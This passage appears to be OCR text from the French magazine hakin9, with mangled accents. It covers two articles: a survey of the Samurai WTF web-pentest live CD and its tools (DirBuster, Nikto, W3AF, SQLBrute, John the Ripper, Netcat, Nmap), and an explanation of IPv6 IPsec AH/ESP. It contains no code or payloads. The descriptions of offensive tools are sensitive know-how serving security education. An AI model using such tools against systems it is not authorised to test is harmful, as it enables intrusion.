DeacutecouverteexploitationLes parties deacutecouverte et reconnaissance sont geacuteneacutera-lement regroupeacutees en une seule phase lorsqursquoil srsquoagit

Figure 4 Bureau de Samurai sous Gnome Figure 5 Les menus sous Samurai

Samurai proteacutegez vos applications web

hakin9orgfr 33

drsquooutil automatiseacute La deacutecouverte drsquoune faille que ce soit des mauvaises configurations du serveur des failles de type cross site scripting (XSS) injection SQL inclusion de fichier ou bien drsquoautres encore permet de mettre en eacutevidence la preacutesence drsquoune faille sans pour autant lrsquoexploiter agrave 100 La partie exploitation quant agrave elle consiste agrave tenter drsquoexplorer la faille sous toutes ses coutures Pour ces parties des outils bien connus comme W3AF BeEF ou bien encore AJAXShell ont eacuteteacute incorporeacutes

La preacutesentation des outils que contient le LiveCD Sa-murai WTF ne se fera pas en fonction drsquoune apparte-nance agrave une cateacutegorie (reconnaissance deacutecouverte etou exploitation) mais dans un ordre alphabeacutetique com-me preacutesenteacute dans le menu du LiveCD Nous allons ten-ter de vous preacutesenter le plus preacuteciseacutement possible les outils importants

DirBusterDirBuster est une application eacutecrite en Java permettant de laquo brutefocer raquo les dossiers contenus dans une ap-plication web Une attaque par dictionnaire serait plus approprieacutee du fait que DirBuster va tenter de faire cor-respondre des reacutepertoires preacutesents sur le serveur avec une liste de reacutepertoires dans des fichiers texte Le but de cette application est donc de trouver des dossiers ou bien mecircme des fichiers sans liens pointant vers eux et pouvant srsquoaveacuterer tregraves inteacuteressants (dossier admin par exemple ou la preacutesence drsquoun passwdtxt etc)

Lrsquointerface graphique (voir Figure 6) est tregraves intui-tive et excessivement simple drsquoutilisation En effet il est simplement neacutecessaire de speacutecifier une URL cible ainsi qursquoun dictionnaire de dossiersfichiers

Une fois ces deux eacuteleacutements speacutecifieacutes DirBuster va tenter chaque combinaison une agrave une jusqursquoagrave avoir une

Figure 6 Interface graphique de DirBuster

Figure 7 Loutil GooScan en ligne de commande

5201034

pratique

reacuteponse positive du serveur (Requecircte 200 en geacuteneacute-ral)

Le projet DirBuster est un projet de lrsquoOWASP (Open Web Application Security Project) ayant pour objectif de rendre le Web de plus en plus seacutecuritaire

FierceFierce ou plus preacuteciseacutement Fierce Domain Scanner est petit script eacutecrit en Perl dont le but est drsquoauditer la seacutecuriteacute des applications web Il est capable de tes-ter des domaines qui ne sont pas continus Fierce Do-main Scanner analyse un domaine et tente drsquoidentifier des sites qui sont susceptibles decirctre des cibles po-tentielles dune attaque web Fierce Domain Scanner trouve sa place dans la cateacutegorie des outils de recon-naissance

GooScanGooScan est un scanner de vulneacuterabiliteacutes pour page web fonctionnant agrave partir de requecirctes avec le moteur de recherche Google Crsquoest un utilitaire assez puissant uniquement preacutesent en ligne de commande Cet outil permet de ne pas faire de recherches directement sur la cible en elle-mecircme mais en premier lieu en passant par le moteur de recherche Google afin de reacutecupeacuterer le maximum drsquoinformations sans toucher au systegraveme cible Tout comme Fierce GooScan trouve sa place

dans la cateacutegorie des outils de reconnaissance (voir Figure 7)

HttpprintHttpprint est un logiciel qui relegraveve les laquo empreintes raquo drsquoun serveur web (voir Figure 8) Httpprint deacutetecte avec exactitude les caracteacuteristiques du serveur Web distant mecircme si certains administrateurs systegraveme tentent de cacher ces caracteacuteristiques en changeant certains pa-ramegravetres ainsi que les banniegraveres

Httpprint utilise des signatures pour la reconnaissan-ce des diffeacuterents types de serveur web Il est possible drsquoajouter ses propres signatures agrave la base de donneacutees deacutejagrave preacutesente

MaltegoMaltego est un outil qui deacutetermine les relations et les liens reacuteels entre le monde (personnes entreprises organisations sites web etc ) Maltego permet de trouver simplement et de maniegravere graphique des in-formations telles que des documents les diffeacuterentes adresses e-mail dune personne des numeacuteros de teacute-leacutephone qui pourraient lui ecirctre associeacutes des rensei-gnements sur linfrastructure mais aussi collecter des informations et bien dautres choses encore Trou-vant sa place dans les outils de type laquo reconnaissan-ce raquo Maltego est reacuteputeacute pour ecirctre lrsquoun des meilleurs

Figure 8 Relever les empreintes avec HTTPRINT

Samurai proteacutegez vos applications web

hakin9orgfr 35

outils de cette cateacutegorie Il permet eacutegalement drsquoauto-matiser des actions de types laquo footprinting raquo en vue de tests de peacuteneacutetration preacutevus ulteacuterieurement Il per-met gracircce au nom drsquoune socieacuteteacute par exemple de re-monter jusqursquoagrave son infrastructure technique agrave savoir les serveurs DNS les serveurs Web les serveurs Mail les heacutebergeurs et ainsi de suite (voir Figure 9 et 10)

La version 20 de Maltego preacutesente sur Samurai WTF est eacutegalement preacutesente sur la version finale de Back-Track III

NiktoNikto est un scanner de serveur Web dont le but est de trouver automatiquement les risques lieacutes agrave la confi-guration ainsi qursquoaux versions utiliseacutees Plusieurs ty-pes de tests sont effectueacutes sur le serveur cible gracircce agrave Nikto Ainsi Nikto vous indiquera les versions utili-seacutees et les eacuteventuels problegravemes en rapport avec ces

Figure 9 Utilisation de Maltego

Figure 10 Deacutemarrage de Maltego Figure 11 W3AF via son interface graphique

5201036

pratique

derniegraveres Drsquoautres tests portent sur la configuration du serveur en elle-mecircme comme le Directory indexing lrsquoutilisation de lrsquooption TRACE la vulneacuterabiliteacute aux in-jections XSS ou injections SQL la preacutesence drsquoinfor-mations systegraveme reacuteveacuteleacutees (via phpinfo() par exemple) etc Nikto teste en tout et pour tout plus de 2500 points clefs agrave la recherche de failles exploitables par un pi-rate informatique agrave lrsquoencontre drsquoune application web que ce soit lrsquoapplication web elle-mecircme ou le serveur la supportant

parosParos ou plus preacuteciseacutement Paros Proxy intervient sur le volet de la seacutecuriteacute applicative En eacutemulant le navi-gateur web il va permettre de tester des actions sur des services et des applications en ligne et ainsi eacuteva-luer leur niveau de seacutecuriteacute Paros Proxy offre notam-ment la possibiliteacute de capturer une requecircte de la reacuteeacute-crire avant de la reacuteacheminer Toutes les donneacutees sur HTTP et HTTPS entre le serveur et le client y compris les cookies peuvent donc ecirctre intercepteacutees et modi-fieacutees

ratproxyRatProxy a pour but drsquoaider les deacuteveloppeurs de si-tes internet agrave mieux identifier les failles potentielles de leurs creacuteations Cet outil est proposeacute par le geacuteant Goo-gle qui apregraves lrsquoavoir reacutealiseacute en interne a deacutecideacute de pu-blier le code pour qursquoil soit accessible par tout le mon-

de Loutil est multiplateforme mais neacutecessite Cygwin afin de fonctionner sous Windows Comme son nom lrsquoindique RatProx se configurera en premier lieu com-me un proxy Puis il faudra ensuite visiter le site inter-net agrave tester et lapplication de maniegravere quasi automa-tique testera et reacutedigera un rapport au format HTML RatProxy a pour but de deacutenicher des problegravemes de seacute-curiteacute les plus communs (Injection XSS injection SQL etc) Dans lrsquoutilisation RatProxy se rapproche donc eacutenormeacutement de Paros et de WebScarab (Voir un peu plus bas)

SqLBruteSQLBrute est un petit outil inteacutegralement eacutecrit en Py-thon permettant de bruteforcer les donneacutees agrave lrsquoaide drsquoin-jection SQL aveugle (Blind Injection SQL) Il utilise une exploitation baseacutee sur le temps de reacuteponse ainsi que sur les erreurs de Microsoft SQL Server et Oracle SQL-Brute permet drsquoacceacuteleacuterer les traitements gracircce agrave lrsquoutili-sation du multithreading et ne neacutecessite aucune biblio-thegraveque suppleacutementaire

W3aFW3AF ou encore Web Application Attack and Audit Framework est un logiciel entiegraverement eacutecrit en Py-thon W3AF est un Framework tregraves complet orienteacute test de peacuteneacutetration des applications web (voir Figure 11 et 12) Comme son nom lrsquoindique il est orienteacute vers les audits et les attaques agrave lrsquoencontre des appli-cations web Il trouve donc tregraves bien sa place dans le LiveCD Samurai W3AF est diviseacute en deux parties le core qui gegravere les processus et la communication entre les plugins Les plugins eacutetant classeacutes en 7 ca-teacutegories distinctes (deacutecouverte audit grep attaques affichage modifieurs de requecirctes eacutevasion et brute force) permettant de faire de W3AF un outil tregraves com-plet rentrant dans les trois cateacutegories deacutejagrave eacutevoqueacutees agrave savoir reconnaissance deacutecouverte et exploita-tion

Le Framework dispose drsquoune interface graphique tregraves complegravete et tregraves intuitive pour lrsquoensemble des actions qursquoil propose Le projet contient plus de 130 plugins qui permettent de chercher pour les injections SQL les in-jections XSS les inclusions de fichiers locauxdistants et bien plus encore

Figure 12 W3AF an ligne de commande

Figure 13 Ecran de lancement de WebShag

Samurai proteacutegez vos applications web

hakin9orgfr 37

Pour ceux qui le souhaitent W3AF dispose aussi drsquoune interface en ligne de commande plus difficile agrave exploiter mais tout aussi puissante

WapitiWapiti est un petit logiciel eacutecrit entiegraverement en Python per-mettant drsquoauditer la seacutecuriteacute drsquoune application Web Le logiciel teste automatiquement de nombreuses attaques qursquoun pirate tenterait de lancer une agrave une telles que lrsquoinclu-sion de fichiers locaux lrsquoinclusion de fichiers distants les injections SQL et les injections XSS Wapiti est souvent utiliseacute en parallegravele agrave Nikto qui remplit les mecircmes fonctions que ce dernier Tout comme Nikto Wapiti trouve sa place dans les outils de deacutecouverte et drsquoexploitation

WebScarabTout comme DirBuster WebScarab est un outil issu de lrsquoOWASP WebScarab est un proxy applicatif libre eacutecrit en Java permettant drsquointercepter et de modifier les requecirctes ainsi que les reacuteponses HTTP (dans le mecircme esprit que Paros) Il est important de compren-dre que gracircce agrave ce genre drsquooutils les controcircles mis en place cocircteacute client par du JavaScript par exemple peu-vent facilement ecirctre contourneacutes comme la gestion des longueurs maximales drsquoun champ gracircce agrave lrsquoattribut laquo maxlength raquo Les erreurs suite aux mauvais paramegrave-tres inseacutereacutes dans des formulaires constituent lrsquoune des premiegraveres vulneacuterabiliteacutes web deacutecreacuteteacutee par le guide de lrsquoOWASP

Figure 14 Loutil Nmap avec une interface graphique

Figure 15 Ligne de commande sous Samurai

5201038

pratique

WebShagWebshag est un outil multiplateforme eacutecrit en Python destineacute agrave laudit de serveurs web Il regroupe une seacute-rie de fonctionnaliteacutes utiles lors de tests dintrusion de serveurs web tels quun scanner dURL ainsi qursquoun fuzzer de fichiers En outre il integravegre des fonctionna-liteacutes deacutevasion IDS speacutecialement conccedilues pour com-pliquer la correacutelation entre les nombreuses requecirctes quil geacutenegravere (pour ce faire il est capable dutiliser un serveur proxy diffeacuterent pour chaque requecircte geacuteneacutereacutee voir Figure 13)

En plus des fonctionnaliteacutes deacutecrites ci-dessus Webs-hag propose de nouveaux outils agrave limage de son mo-

dule permettant de reacutecupeacuterer la liste des noms de do-maine heacutebergeacutes par une adresse IP donneacutee

Webshag propose une interface graphique tregraves sim-ple et tregraves intuitive Il existe eacutegalement une version en ligne de commande pour la version GNULinux pour les plus teacutemeacuteraires drsquoentre vous

ZeNmapZeNmap est simplement lrsquointerface graphique du ceacutelegrave-bre outil Nmap (voir Figure 14) Nmap est reacuteputeacute pour ecirctre un excellent outil utilisable uniquement en ligne de commande pouvant deacutecourager les moins teacutemeacuterai-res drsquoentre nous Les balayages proposeacutes par ZeN-

Figure 16 John The Ripper en ligne de commande

Figure 17 Le fameux utilitaire Nmap

Samurai proteacutegez vos applications web

hakin9orgfr 39

map vont du simple scan aux scans tregraves speacutecifiques en passant par la deacutetection de systegravemes drsquoexploita-tion distants Lrsquoensemble de ces choix seffectue gracircce agrave une listbox rendant les configurations vraiment tregraves simples Voici agrave quoi ressemble cette interface graphi-que

Les sorties de ZeNmap sont tregraves claires et compreacute-hensibles comparativement aux lignes de commande de la version classique Il est possible drsquoutiliser les profils preacutedeacutefinis par ZeNmap (Intense Scan Quick Scan Operating System Detection etc) ou de taper directement les commandes dans la partie preacutevue agrave cet effet pour les plus confirmeacutes cherchant un reacutesul-tat preacutecis

Malgreacute des menus complets certains outils ne sont pas disponibles agrave partir des menus que proposent Sa-murai WTF et sont donc uniquement accessibles via la ligne de commande (voir Figure 15)

Parmi ces outils on retrouve

bull Dnswalk Dnswalk est un deacutebuggeur de DNS Il exeacutecute des transferts de zone sur les domaines in-diqueacutes et veacuterifie de plusieurs maniegraveres linteacutegriteacute et lexactitude de la base de donneacutees

bull Httping Httping correspond au ping pour les re-quecirctes HTTP Si la requecircte ne reacutepond pas il se peut que la page nrsquoexiste pas ou bien qursquoil y ait un souci relatif au serveur (preacutesence drsquoun fi-rewall)

bull Httrack Httrack est simplement un aspirateur de site cest-agrave-dire qursquoil vous donne la possibiliteacute de teacuteleacutecharger lrsquointeacutegraliteacute drsquoune application web sur votre disque dur personnel en construisant reacutecur-sivement tous les reacutepertoires reacutecupeacuterant HTML images et fichiers du serveur vers votre ordina-teur Httrack reacuteorganise la structure des liens en relatif

bull JTR JTR ou est un puissant crackeur de mot de passe en ligne de commande fonctionnant tant sous Windows que sous GNULinux John The Rip-per procegravede agrave des attaques par bruteforce cest-agrave-dire en tentant toutes les combinaisons possibles (voir Figure 16)

bull Netcat Netcat est un utilitaire entiegraverement en ligne de commande permettant douvrir des connexions reacuteseau que ce soit UDP ou TCP En raison de sa polyvalence netcat est aussi appeleacute le couteau suisse TCPIP Il peut ecirctre utiliseacute pour connaicirctre leacutetat des ports par exemple

bull Nmap Nmap est tregraves certainement le scanneur de ports le plus connu et le plus utiliseacute dans le monde de la seacutecuriteacute informatique (mecircme Trini-ty lrsquoutilise) ainsi que par les administrateurs reacute-seau Il est principalement conccedilu pour deacutetec-ter les ports ouverts identifier les services ainsi qursquoobtenir des informations sur le systegraveme drsquoex-

ploitation Bien que tregraves petit nmap est un lo-giciel extrecircmement complet permettant drsquoobtenir des reacutesultats fort inteacuteressants (voir Figure 17)

bull Snarf Snarf est un simple petit utilitaire en ligne de commande permettant de transfeacuterer des fichiers via les protocoles HTTP gopher finger et FTP sans aucune interaction avec lrsquoutilisateur

Le LiveCD Samurai dispose eacutegalement de plusieurs outils non relatifs agrave la seacutecuriteacute informatique permet-tant simplement de faire de Samurai une distribution complegravete Vous retrouverez ainsi des programmes comme Wine permettant drsquoeacutemuler des programmes Windows dans un environnement Linux Des logiciels pour eacutecouter de la musique ou pour acceacuteder agrave Inter-net dans de bonne condition sont eacutegalement disponi-bles

ConclusionLrsquoensemble des outils preacutesents dans le live CD Sa-murai Web Testing Framework permet de le classer parmi les frameworks les plus complets en matiegravere de peacuteneacutetration des applications web Bien que Sa-murai WTF soit encore un projet tregraves jeune il dispo-se deacutejagrave drsquoune grande maturiteacute lui permettant drsquoavoir une place bien preacutesente dans le milieu de la seacutecu-riteacute web

Samurai WTF est en constante eacutevolution et integravegre de plus en plus drsquooutils que les professionnels de la seacutecuri-teacute utilisent reacuteguliegraverement afin de satisfaire parfaitement leurs besoins

Samurai WTF est donc une distribution sur laquelle il est important de garder un œil tant son eacutevolution est impressionnante et son utilisation de plus en plus freacute-quente chez les professionnels

Nous vous rappelons eacutegalement que lrsquoensemble de ces outils bien que gratuits sont soumis agrave cer-taines restrictions qursquoil est tenu de connaitre avant toute utilisation Ces outils sont entiegraverement leacutegaux mais il nrsquoest autoriseacute de les utiliser que contre son propre reacuteseau agrave moins drsquoavoir les autorisations neacute-cessaires Page daccueil httpsamuraiinguar-dianscom

a prOpOD De LauteurReacutegis SENET est actuellement eacutetudiant en quatriegraveme anneacutee agrave lrsquoeacutecole Supeacuterieur drsquoinformatique Supinfo Passionneacute par les tests drsquointrusion et les vulneacuterabiliteacutes Web il tente de deacuteco-uvrir la seacutecuriteacute informatique drsquoun point de vue entreprise Il soriente actuellement vers le cursus CEH LPT et Offensive Se-curityContact regissenetsupinfocom

5201040

Pratique

Au moment de la deacutefinition dIPv6 de nouveaux besoins tels que la seacutecuriteacute la mobiliteacute sont ap-parus et ont pu ecirctre pris en compte lors de la

phase de standardisation Ce chapitre preacutesente quel-ques-uns de ces meacutecanismes qui repreacutesentent une grande avanceacutee de la couche reacuteseau

iPsecIPsec est le protocole speacutecifiquement conccedilu pour seacutecu-riser IPv6 Il permet de reacutealiser des reacuteseaux priveacutes Vir-tuels ou VPNs (Virtual Private Networks) au niveau IP et offre les services

bull drsquoauthentification des donneacuteesbull de chiffrement de donneacutees bull drsquointeacutegriteacute des donneacutees pour garantir que les paquets

nrsquoont pas eacuteteacute modifieacutes durant leur acheminementbull drsquoanti-rejeu afin de deacutetecter les eacuteventuels paquets

rejoueacutes par un attaquant

Toute impleacutementation IPv6 se doit de lrsquointeacutegrer dans sa pile Ce protocole est eacutegalement utilisable avec IPv4 mais lrsquoutilisation du NATPAT (Network Address Trans-lationProtocole Address Translation) en limite la mise en œuvre

Meacutecanismes iPsecIPsec deacutefinit 2 protocoles de seacutecurisation

bull AH (Authentication Header)bull ESP (Encryption Security Payload)

Les services de seacutecurisation offerts par ces 2 protoco-les sont distincts

bull AH permet de sassurer que leacutemetteur du message est effectivement celui quil preacutetend ecirctre Il sert aus-si au controcircle dinteacutegriteacute pour garantir au reacutecepteur que personne na modifieacute le contenu dun message lors de son acheminement et peut optionnellement ecirctre utiliseacute pour la deacutetection des rejeux

bull ESP offre les mecircmes services qursquoAH et permet en plus de chiffrer lensemble des paquets ou unique-ment la charge utile ESP garantit eacutegalement de fa-ccedilon limiteacutee linteacutegriteacute du flux

associations de seacutecuriteacuteAfin de seacutecuriser les eacutechanges les entiteacutes en preacutesence doivent bien eacutevidemment partager un ensemble com-mun drsquoinformations telles que le protocole IPsec usiteacute (AH ou ESP) les cleacutes les algorithmes hellip Ces diffeacuteren-tes informations constituent des associations de seacutecu-riteacute ou SA (Security Association)

Chaque association de seacutecuriteacute est identifieacutee de maniegravere unique par un triplet comprenant un index de paramegravetres de seacutecuriteacute SPI (Security Parameters Index) ladresse du destinataire IP et le protocole de seacutecuriteacute AH ou ESP

Meacutecanismes iPv6 avanceacutes

Depuis les anneacutees 80 lrsquoInternet connaicirct un succegraves incroyable La majeure partie des entreprises y est maintenant directement connecteacutee le nombre de particuliers deacutetenteurs drsquoun abonnement Internet aupregraves drsquoun FAI (Fournisseur drsquoAccegraves Internet) est en croissance constante

Cet article expliquebull Cet article est destineacute agrave vous faire appreacutehender les techniqu-

es fondamentales drsquoIPv6 le nouveau mode drsquoadressage les meacutecanismes de communication sous-jacents la configuration automatique hellip bref lrsquoensemble des protocoles basiques qui composent lrsquoarchitecture drsquoIPv6

Ce quil faut savoirbull Pour appreacutehender au mieux cet article il est preacutefeacuterable drsquoavoir

des connaissances relativement solides drsquoIPv4 et en particu-lier du modegravele en couche TCPIP Il est bien eacutevidemment judi-cieux drsquoavoir eacutegalement au preacutealable appreacutehendeacute les notions expliciteacutees dans lrsquoarticle preacuteceacutedent

Freacutedeacuteric roudaut

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 41

ces 2 valeurs coiumlncident lrsquointeacutegriteacute ainsi que lrsquoauthentifica-tion des champs concerneacutes est assureacutee Ces champs dif-fegraverent selon le mode usiteacute transport ou tunnel

Le rejeu des paquets est quant agrave lui deacutetecteacute par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension AH est inseacutereacutee apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) De plus AH eacutetant vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication celle-ci apparait apregraves les extensions drsquoen-tecircte Hop-By-Hop Op-tion Header Routing Header et Fragment Header Lrsquoex-tension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Lrsquoauthentification et lrsquointeacutegriteacute portent donc sur

bull les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte AHbull certains champs de lrsquoen-tecircte IPv6 invariants lors de

lrsquoacheminement du paquetbull certains champs invariants des extensions drsquoen-tecircte

positionneacutees avant AH

Les extensions drsquoen-tecircte positionneacutees apregraves AH ne sont pas modifieacutees durant lrsquoacheminement des paquets agrave ce titre elles sont proteacutegeacutees par le champ ICV Cet-te protection diffegravere pour les extensions drsquoen-tecirctes po-sitionneacutes avant AH certains champs pouvant ecirctre alteacute-reacutes par les routeurs preacutesents le long du chemin

Les sous-options preacutesentes dans les extensions headers Hop-By-Hop et Destination Options Header disposent drsquoun bit positionneacute agrave 1 si lrsquooption peut ecirctre modifieacutee le long du trajet Dans le cas ougrave ce bit nrsquoest pas positionneacute la sous-option est proteacutegeacutee dans le cas contraire les octets de la sous-option sont positionneacutes agrave 0 lors du calcul de lrsquoICV

Cette protection ne srsquoapplique pas non plus sur lrsquoex-tension Fragment Headers qui apparaicirct uniquement apregraves la phase drsquoauthentification

La Figure 2 montre ainsi le positionnement de lrsquoexten-sion drsquoen-tecircte AH en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacutegriteacute

Mode tunnelEn mode Tunnel lrsquoextension AH est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 3 et le Tableau 2 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur

eSP (encryption Security Payload)La mise en œuvre drsquoESP repose sur une extension drsquoen-tecircte speacutecifique Celle-ci se deacutecompose en 2 par-ties La premiegravere partie preacutecegravede les donneacutees agrave proteacute-ger la deuxiegraveme termine le paquet et contient un eacuteven-tuel ICV pour proteacuteger le paquet en authentification

Une association de seacutecuriteacute est unidirectionnelle Une communication bidirectionnelle entre 2 entiteacutes neacutecessi-te donc lutilisation de 2 associations de seacutecuriteacute

Mode transport et tunnelLes normes IPsec deacutefinissent deux modes distincts dopeacute-ration IPsec le mode Transport et le mode Tunnel Le mode Tunnel ne fonctionne que pour les datagrammes IP-in-IP En mode Tunnel le paquet IP interne deacutetermine la strateacutegie IPsec qui protegravege son contenu tandis qursquoen mode Transport len-tecircte exteacuterieur deacutetermine la strateacutegie IPsec qui protegravege le paquet IP interne Contrairement au mode Transport le mode Tunnel ne permet pas agrave len-tecircte IP exteacuterieur de dicter la strateacutegie de son datagramme IP interne Enfin dans les 2 modes lrsquoen-tecircte exteacuterieur est partiellement proteacutegeacute mais le mode Tunnel a lrsquoavantage de proteacuteger inteacutegralement son en-tecircte exteacuterieur pouvant ainsi se reacuteveacuteler fortement utile pour la creacuteation de VPN

aH (authentication Header)La mise en œuvre drsquoAH repose sur une extension drsquoen-tecircte speacutecifique deacutefinie dans la Figure 1

Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH est preacuteciseacute dans le Tableau 1

NB Faute de place certaines figures ont ete suppri-mees Vous pouvez le telecharger sur le site wwwha-kin9orgfr

Protection aH et algorithmesAH suppose geacuteneacuteralement une impleacutementation des al-gorithmes suivants

bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur coupleacute agrave co-de dauthentification MAC (CBC-MAC) Le comp-teur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour cha-que message alors que le code dauthentification permet de veacuterifier que le message na pas eacuteteacute alteacute-reacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensemble commun minimum des impleacutementations drsquoAH

Lors de la reacuteception drsquoun paquet AH la pile IPsec deacutetec-te lrsquoassociation de seacutecuriteacute concerneacutee en deacuteduit les algo-rithmes et les cleacutes associeacutees calcule la valeur du champ ICV et la compare avec la valeur fournie Dans le cas ougrave

5201042

Pratique

Ces 2 parties sont deacutefinies dans la Figure 4Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte

ESP est preacuteciseacute dans le Tableau 3

Protection eSP et algorithmesLa protection drsquoESP repose sur le choix des algorith-mes drsquoauthentification et de chiffrements Ils sont soit distincts soit combineacutes cest-agrave-dire qulsquoauthentification et chiffrement sont reacutealiseacutes par le mecircme algorithme

Dans le cas drsquoune protection combineacutee ESP suggegravere lrsquoutilisation drsquoAES-CCM ou AES-GCM deacutejagrave utiliseacute pour respectivement le 80211i et le 8021ae

Dans le cas drsquoune protection seacutepareacutee ESP suppo-se geacuteneacuteralement une impleacutementation des algorithmes drsquoauthentification suivants

bull NULL Authentication (Peut ecirctre impleacutementeacute)bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-

rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur cou-pleacute agrave code dauthentification MAC (CBC-MAC) Le compteur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour chaque message alors que le code dauthen-tification permet de veacuterifier que le message na pas eacuteteacute alteacutereacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Les algorithmes de chiffrements deacutefinis sont alors les suivants

bull NULL Encryption (Doit ecirctre impleacutementeacute)

bull AES-CBC (Doit ecirctre impleacutementeacute) AES supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CBC neacutecessite un IV de 16 octets

bull 3DES-CBC (Doit ecirctre impleacutementeacute) cet algorithme utilise une cleacute effective de 192 bits Il est reacutealiseacute par application de 3 DES-CBC chacun utilisant une cleacute de 64 bits (dont 8 bits de pariteacute) 3DES-CBC neacuteces-site un IV de 8 octets

bull AES-CTR (Devrait ecirctre impleacutementeacute) AES en mo-de compteur supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CTR neacutecessite un IV de 16 octets

bull DES-CBC (Ne devrait pas ecirctre impleacutementeacute)

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensem-ble commun minimum des impleacutementations drsquoESP Il est agrave noter qursquoune association de seacutecuriteacute ESP ne doit agrave aucun moment utiliser conjointement un algo-rithme drsquoauthentification et de chiffrement nul

En mode tunnel ESP depuis sa derniegravere version pro-pose un mode de confidentialiteacute de flux par lrsquoutilisation du champ TFC Ce champ permet drsquoadjoindre des octets de bourrage de taille aleacuteatoire La taille de ce champ nrsquoeacutetant preacuteciseacutee par aucun autre champ elle peut ecirctre deacuteduite du champ Payload Length de lrsquoen-tecircte IP inteacuterieure au tunnel Ce champ TFC pourrait eacutegalement ecirctre utiliseacute en mode transport agrave condition bien entendu que le proto-cole de niveau transport comporte une indication sur la taille de sa charge utile (cas de TCP UDP ICMP)

Lors de la reacuteception drsquoun paquet ESP la pile IPsec deacutetecte lrsquoassociation de seacutecuriteacute concerneacutee et en deacuteduit les algorithmes et les cleacutes associeacutees

Si la protection en authentification est activeacutee le reacutecep-teur calcule lrsquoICV sur le paquet ESP sans ce champ ICV Si le champ calculeacute coiumlncide avec le champ transmis lrsquointeacutegriteacute est assureacutee sur les champs concerneacutes Ces champs diffegraverent selon le mode usiteacute transport ou tun-

table 1 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH

Champs Taille RocircleNext Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine exten-

sion drsquoen-tecircte Similaire au champ Protocol en IPv4

Payload Len 8 bits Speacutecifie la longueur -2 en mots de 32 bits de lrsquoextension drsquoen-tecircte AH

RESERVED 16 bits Positionneacute agrave 0

SPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave utiliser

Sequence Number

32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le re-jeu

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte AH est un multiple de 64 bits (32 bits pour IPv4)

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 43

nel Vient ensuite le deacutechiffrement du paquet avec lrsquoalgo-rithme et la cleacute fournie par lrsquoassociation de seacutecuriteacute

Le rejeu des paquets est quant agrave lui deacutetecteacute agrave la ma-niegravere drsquoAH par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension ESP est inseacutereacutee de la mecircme maniegravere que lrsquoextension AH apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) ESP eacutetant eacutegalement vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication el-le apparaicirct apregraves les extensions drsquoen-tecircte Hop-By-Hop Option Header Routing Header et Fragment Header Lrsquoextension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Le chiffrement porte donc sur les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP agrave lrsquoexception des champs SPI Sequence Number ICV

Lrsquoauthentification eacuteventuelle reacutealiseacutee par le champ ICV porte sur lrsquoensemble des octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP La Figure 5 montre ainsi le positionnement de lrsquoextension drsquoen-tecircte ESP en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacute-griteacute et du chiffrement

